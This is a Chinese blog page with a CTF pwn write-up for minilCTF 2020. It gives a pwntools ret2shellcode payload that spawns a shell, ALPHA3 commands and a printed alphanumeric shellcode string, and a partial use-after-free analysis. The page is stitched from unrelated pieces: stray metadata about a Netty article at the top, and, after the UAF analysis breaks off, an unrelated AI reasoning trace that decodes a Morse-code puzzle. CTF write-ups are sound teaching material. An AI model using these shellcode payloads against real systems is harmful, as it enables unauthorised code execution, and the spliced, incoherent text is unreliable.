【CTF题解NO.00002】minilCTF 2020 - write up by arttnba3

This blog post provides a detailed walkthrough of solving PWN challenges from the minilCTF 2020 competition. The author discusses various techniques, including ret2shellcode, stack migration, Use After Free (UAF), and Fastbin attacks. The write-up covers several CTF challenges, with explanations on how to exploit vulnerabilities, construct payloads, and achieve remote code execution." 74057553,6131059,理解Netty ChannelBuffer:C++实现解析,"['网络编程', 'Java框架', 'C++', 'Netty', '数据传输']

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

github pages blog addr

0x00.绪论

mini-LCTF,前身是makerCTF,是西电校内享誉盛名(?)的CTF,作为菜鸡CTFer也尝试着参加了一手

因为咱主攻PWN的原因,所以这一篇应该只有PWN(

(不过主要还是因为我太菜了XD

注:所有题目在archive.lctf.online上都有部署

0x01.Sign in

Starting Point

点进页面就可以直接获得flag了

0x02.PWN

hello - ret2text + ret2shellcode

点击下载-hello

证明了我真的是菜鸡的一道pwn题,搞了半天才明白XD

做题环境Manjaro-KDE

首先使用checksec指令查看保护,可以发现保护基本都是关的,只有Partial RELRO,那么基本上是可以为所欲为了wwww

win环境下拖进IDA进行分析

img

可以发现在vul函数存在明显的栈溢出
在这里插入图片描述

main函数中调用了vul
在这里插入图片描述

那么程序漏洞很明显了:

  • 使用fgets读入最大为72个字节的字符串,但是只分配给了48字节的空间,存在栈溢出

又有一个可疑的bd函数,那么第一时间想到**ret2text**——构造payload跳转到bd

但是很明显,bd函数基本是是空的(悲)

img.png

然后我就在这里卡了半天,证明我真的菜XD,感谢cor1e大佬的耐心解答

那么我们该如何利用这个bd呢?

可以看到在bd中存在操作jmp rsp,那么其实我们可以利用这个指令跳转回栈上,执行我们放在栈上的shellcode

也就是说这其实是一道ret2shellcode的题

ret2text执行过程:

  • rsp永远指向栈顶

  • 当我们用常规的ret2text构造48字节字符串+8字节rbp+8字节bd函数地址(覆盖掉原返回地址)的payload时,rsp指向的其实是bd函数地址的位置

  • ret指令进入bd后弹出bd地址,rsp指向栈内储存的rbp的值(预期内)

  • bd函数将rbp再push入栈中,此时rsp再加8,指向被新压入的rbp(预期内)

  • bd函数执行rsp上的指令
    那么我们就可以在rsp预期内指向的地址上覆盖上我们的shellcode使其被执行

接下来就是ret2shellcode的:

ret2shellcode修正过程:

  • 在rsp最终指向的地址放上我们待执行的shellcode

  • 由于长度不够,我们可以把getshell的shellcode放在读入的字符串的最开始的地方,再通过汇编指令进行跳转

  • 在rsp所指向的位置覆盖上shellcode,改变rsp的值使其指向getshell的shellcode并再次进行跳转,完成getshell

那么payload就很容易构造出来了:

注:第一次盲打payload居然错了,我还是太菜了Or2

注2:其实可以不需要跳转到bd,直接跳转到

context.arch = 'amd64'
sc1 = asm(shellcraft.sh())
sc2 = asm('sub rsp,56')//48字节的字符串+8字节的rbp,跳回开头
sc3 = asm('jmp rsp')
elf = ELF('hello')
payload = sc1 + b'a'*(56-len(sc1)) + p64(elf.symbols['bd']) + sc2 + sc3

在这里插入图片描述

高阶解法:栈迁移

假如说这道题并不存在供我们进行跳转的bd函数,给我们的溢出长度就只有72-48=24个字节,但是仅仅是asm(sellcraft.sh())就已经需要48个字节,那么我们该如何通过仅仅24字节的溢出完成pwn呢

答案是使用栈迁移技术

注:赛期因为各种ddl导致只解出了这一道题XD 后面的题解是在赛后写的 部分参照了Lunatic和eqqie师傅的题解

ezsc - Alphanumeric Shellcode

点击下载-ezsc

首先是惯例的checksec

img.png

四舍五入保护全关,我们有极大的操作空间

程序分析

拖入IDA进行分析

在这里插入图片描述

v7是一个函数指针,并被分配到了0x1000大小的内存空间

程序会从输入流逐字节读入最大4096个字节写入到v7所指向的空间上,且限制输入仅能为字母或数字否则终止输入

输入结束后尝试执行函数指针v7

那么我们直接输入一段shellcode即可getshell

但是限制了输入只能是数字和字母,常见的shellcode都包含一些其他字符

于是只好百度XD

得知一种叫做Alphanumeric Shellcode的东西www

Alphanumeric Shelllcode

具体参见:https://www.freebuf.com/articles/system/232280.html

首先从GitHub上随便找一个轮子

$ git clone https://github.com/TaQini/alpha3.git

然后编写生成我们的shellcode的脚本

# sc.py
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

输出重定向至文本

$ python sc.py > sc

使用轮子生成alphanumeric shellcode

$ python ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

在这里插入图片描述

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00

连接服务端,发送我们的alphanumeric shellcode,成功getshell

在这里插入图片描述

得到flag

moectf{Y0u_kn3w_tH3_a1ph4num3r1C_she1lc0de!}

easycpp - Use After Free

点击下载-easycpp
点击下载-libc.so.6

首先是惯例的checksec

image.png

我们可以看到,和前面几题不同的是这个程序是一个32位的程序

说实话我也不知道为什么画风突变变成32位XD

程序分析

拖入IDA进行分析

在这里插入图片描述

用到了一个名为B的类,我们先看看这个类都有些啥

IDA中类B有一个构造函数B()和一个print()函数
在这里插入图片描述

类B的构造函数如下:

image.png

类B的构造函数首先调用了类A的构造函数,然后将变量_vptr_A设置为一个函数指针

我们不难看到在0x80489E4位置上我们还需要再跳转一次到0x80488F2的位置,这个位置上有一个B::print()函数,故可知这是一个二级函数指针

在这里插入图片描述

在这里插入图片描述

我们再来看看类A的构造函数,如下:

在这里插入图片描述

类A的构造函数也是将变量_vptr_A设置为一个函数指针

位于off_80489F0上的函数为A::print()

在这里插入图片描述

在这里插入图片描述

接下来是main函数的简单分析:

在这里插入图片描述

v3、v4都是一个类型为类 B的指针

首先setvbuf()函数将程序设置为无缓冲输入

之后创建了一个类B的实例并将地址给到指针v3和v4

之后将该实例内的变量_vptr_A的值设为0

之后使用delete释放掉之前分配给v3、v4的内存

之后从标准输入流读入1024个字节到buf(或许有操作空间?)

之后调用strbuf()函数重新分配一段内存空间

<think>嗯,用户让我介绍一下这个摩斯电码的题目,我得仔细看看。首先,题目名称是“摩斯电码”,安全团队截获了一段信号,转换成符号后的字符串是:.-.. ... ..- -.-. - ..-. -- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.--。用户需要帮助解码这段摩斯电码,可能是个CTF题目或者类似解谜的问题。 首先,我需要回忆摩斯电码的基本知识。每个字母、数字或符号对应一组点和划的组合,比如A是.-,B是-...等等。但这里需要注意,题目中的摩斯码之间用空格分隔,每个单词之间通常用斜杠或者空格分隔,但这里的记录中有多个空格,可能需要拆分每个单独的莫尔斯码字符。 先拆分每个莫尔斯码字符,用空格分隔开。原始字符串是:.-.. ... ..- -.-. - ..-. -- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.--。先按空格分割,得到各个字符: 1. .-.. 2. ... 3. ..- 4. -.-. 5. - 6. ..-. 7. -- 8. --- 9. .-. 10. ... 11. . 12. ..--.- 13. .. 14. ... 15. ..--.- 16. . 17. .-. 18. ... 19. -.-- 接下来,逐个翻译这些字符。需要注意的是,标准的摩尔斯电码表中是否有这些符号。例如,..--.- 可能不是标准字符,需要特别注意。可能题目中的..--.- 是下划线或者其他特殊符号的替代? 先处理已知部分: 1. .-.. → L 2. ... → S 3. ..- → U 4. -.-. → C 5. - → T 6. ..-. → F 7. -- → M 8. --- → O 9. .-. → R 10. ... → S 11. . → E 12. ..--.- → 这个可能不是标准字符,查标准表,通常下划线对应的摩尔斯码是..--.-,所以是下划线 _ 13. .. → I 14. ... → S 15. ..--.- → _ 16. . → E 17. .-. → R 18. ... → S 19. -.-- → Y 组合起来就是:L S U C T F M O R S E _ I S _ E R S Y 可能需要重新检查是否有拆分错误,或者是否中间有单词分隔符。比如,F对应的应该是..-.,正确。那整个字符串组合起来是LSUCTFMORSE_IS_ERSY?这似乎不太对,可能哪里出错了? 哦,可能拆分的时候有错误。原字符串中的分隔符是否正确?原始信号转换为符号记录的时候,可能每个字符之间用空格分隔,而单词之间可能用更大的空格,比如题目中的双空格?或者原题中的分隔符是否有其他处理? 原字符串中的符号记录是:.-.. ... ..- -.-. - ..-. -- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.--。注意到这里有双空格,可能在“..-.”和“--”之间有一个双空格,所以可能这里是单词分隔符,即前面的部分是第一个单词,后面的是另一个单词。 重新拆分,考虑到双空格作为分隔符: 第一部分:.-.. ... ..- -.-. - ..-. 第二部分:-- --- .-. ... . 第三部分:..--.- 第四部分:.. ... ..--.- . .- ... -.-- 但这样拆分可能不太对,可能需要正确识别单词分隔符。通常摩尔斯电码中,单词之间用三个空格分隔,但题目中的记录可能用双空格或者其他方式。可能需要重新检查。 或者,原始字符串中的双空格可能是一个分隔符,将整个信号分成多个部分。比如: 原字符串分解: 1. .-.. 2. ... 3. ..- 4. -.-. 5. - 6. ..-. 7. (这里有一个双空格) 8. -- 9. --- 10. .-. 11. ... 12. . 13. ..--.- 14. .. 15. ... 16. ..--.- 17. . 18. .-. 19. ... 20. -.-- 这时候,可能在第七个位置有一个双空格,即前面的部分是第一部分,后面的是第二部分。这样拆分可能更合理: 第一部分:.-.. ... ..- -.-. - ..-. 第二部分:-- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.-- 但这样拆分可能还是有问题。或者,可能用户提供的原始字符串中的空格分割是否正确? 或者,可能每个摩尔斯码字符由单个空格分隔,而单词之间由双空格分隔。例如: 原字符串中的双空格可能分隔不同的单词。所以按照这个规则拆分: 第一部分:.-.. ... ..- -.-. - ..-. → 拆分成每个字符:.-.. ... ..- -.-. - ..-. 第二部分:-- --- .-. ... .-- --- .-. ... . 第三部分:..--.-..--.- 第四部分:.. ... ..--.- . .- ... -.--.. ... ..--.- . .- ... -.-- 但这样拆分的话,可能每个部分单独翻译成单词,但看起来可能不太对。或者,可能整个字符串中的双空格被误写成两个单空格,所以需要更仔细处理。 可能正确的拆分是: 整个原始字符串中的每个字符由单个空格分隔,而双空格可能是一个错误,或者实际上是单个空格,导致拆分为多个字符。例如,可能原题中的符号记录中的每个字符之间用空格分隔,而单词之间用三个空格,但在这里被简化为单空格。因此,需要将整个字符串按单空格拆分为各个字符,然后逐个翻译。 根据之前的拆分,得到各个字符的翻译: 1. .-.. → L 2. ... → S 3. ..- → U 4. -.-. → C 5. - → T 6. ..-. → F 7. -- → M 8. --- → O 9. .-. → R 10. ... → S 11. . → E 12. ..--.- → _ 13. .. → I 14. ... → S 15. ..--.- → _ 16. . → E 17. .-. → R 18. ... → S 19. -.-- → Y 所以组合起来是:L S U C T F M O R S E _ I S _ E R S Y 看起来不太对,可能哪里出错了。比如,是否在翻译过程中有错误? 检查每个字符的翻译: .-.. → L 正确 ... → S 正确 ..- → U 正确 -.-. → C 正确 - → T 正确 ..-. → F 正确 -- → M 正确 --- → O 正确 .-. → R 正确 ... → S 正确 . → E 正确 ..--.- → _ 正确(根据扩展的摩尔斯电码,下划线的确是这个编码) .. → I 正确 ... → S 正确 ..--.- → _ 正确 . → E 正确 .-. → R 正确 ... → S 正确 -.-- → Y 正确 所以整个字符串翻译后是:LSUCTFMORSE_IS_ERSY 这显然有问题,可能中间的某些字符应该组成有意义的单词。例如,可能拆分成多个单词,而这里可能每个部分对应不同的单词。或者,可能在拆分时,原本的摩尔斯码字符组合可能有不同的分法? 或者,可能用户提供的原始字符串中有拼写错误?或者我在拆分时有错误? 再仔细看一下原字符串: 原字符串是:.-.. ... ..- -.-. - ..-. -- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.-- 注意到在“..-.”和“--”之间有两个空格,可能这两个空格表示单词之间的分隔符。因此,整个字符串被分为三个部分: 第一部分:.-.. ... ..- -.-. - ..-. 第二部分:-- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.-- 或者,更准确地说,两个空格分隔两个单词。因此,拆分成: 单词1:.-.. ... ..- -.-. - ..-. 单词2:-- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.-- 然后分别翻译这两个单词。 翻译单词1的每个字符: .-.. → L ... → S ..- → U -.-. → C - → T ..-. → F 组合起来是 LSUCTF 哦,LSUCTF可能是一个常见的CTF比赛名称,比如 Louisiana State University CTF?或者可能是一个缩写? 然后单词2的拆分: -- → M --- → O .-. → R ... → S . → E ..--.- → _ .. → I ... → S ..--.- → _ . → E .-. → R ... → S -.-- → Y 组合起来是:MORSE_IS_ERSY 所以整个字符串是 LSUCTF MORSE_IS_ERSY → 可能用户需要将两个部分组合,得到 LSUCTF{MORSE_IS_EASY},但这里的最后部分是 ERSY,而可能应该是 EASY,但 Y 的摩尔斯码是 -.--,正确。所以 EASY 是 E A S Y,对应的摩尔斯码是 . .- ... -.--,而这里翻译后的第二部分中的最后部分是 E R S Y,因为中间有一个 R? 哦,这里可能哪里出错了。让我们再检查单词2的拆分: 第二部分是:-- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.-- 拆分每个字符: 1. -- → M 2. --- → O 3. .-. → R 4. ... → S 5. . → E 6. ..--.- → _ 7. .. → I 8. ... → S 9. ..--.- → _ 10. . → E 11. .- → A 12. ... → S 13. -.-- → Y 啊,这里可能在第11个字符是.-,即A,而之前的拆分错误地拆成了.-. → R,但原字符串中的单词2是否被正确拆分? 原单词2的字符序列是:-- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.-- 也就是: -- → M --- → O .-. → R ... → S . → E ..--.- → _ .. → I ... → S ..--.- → _ . → E .- → A ... → S -.-- → Y 所以组合起来是 MORSE_IS_EASY 哦,之前拆分的时候,可能在第11个字符处拆错了。原来的字符串在单词2中的部分,是否有正确的拆分? 原字符串的单词2部分为:-- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.-- 拆分每个字符: 1. -- 2. --- 3. .-. 4. ... 5. . 6. ..--.- 7. .. 8. ... 9. ..--.- 10. . 11. .- 12. ... 13 -.-- 所以,第10个字符是. → E,第11个是.- → A,第12个是... → S,第13个是-.-- → Y。 所以组合起来是:M O R S E _ I S _ E A S Y → MORSE_IS_EASY 因此,整个信号解码后是:LSUCTF MORSE_IS_EASY 但通常CTF的flag格式可能是LSUCTF{MORSE_IS_EASY},或者类似的。因此,用户可能需要将这两个部分合并,或者可能题目中的flag是MORSE_IS_EASY,但需要确认。 所以最终的解码结果是:第一部分是LSUCTF,第二部分是MORSE_IS_EASY,可能组合成LSUCTF{MORSE_IS_EASY}作为flag。</think>让我们逐步解码这段摩斯电码: 原始摩斯符号序列: ``` .-.. ... ..- -.-. - ..-. -- --- .-. ... . ..--.- .. ... ..--.- . .- ... -.-- ``` **步骤1:按空格拆分符号** ``` [.-..][...][..-][-.-.][-][..-.][--][---][.-.][...][.][..--.-][..][...][..--.-][.][.-][...][-.--] ``` **步骤2:逐字符翻译** ``` .-.. → L ... → S ..- → U -.-. → C - → T ..-. → F -- → M --- → O .-. → R ... → S . → E ..--.- → _ .. → I ... → S ..--.- → _ . → E .- → A ... → S -.-- → Y ``` **步骤3:组合字母** ``` L S U C T F | M O R S E _ I S _ E A S Y ``` **步骤4:划分单词** - 前半段 `LSUCTF` 是常见CTF竞赛标识 - 后半段 `MORSE_IS_EASY` 是明文内容 **最终解码结果** ``` LSUCTF{MORSE_IS_EASY} ``` **补充说明** - 特殊符号 `..--.-` 对应下划线 `_`,是摩斯电码扩展字符 - 实际CTF比赛中,flag格式通常为`比赛名{答案}`,因此最终结果需要组合上下文语义
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值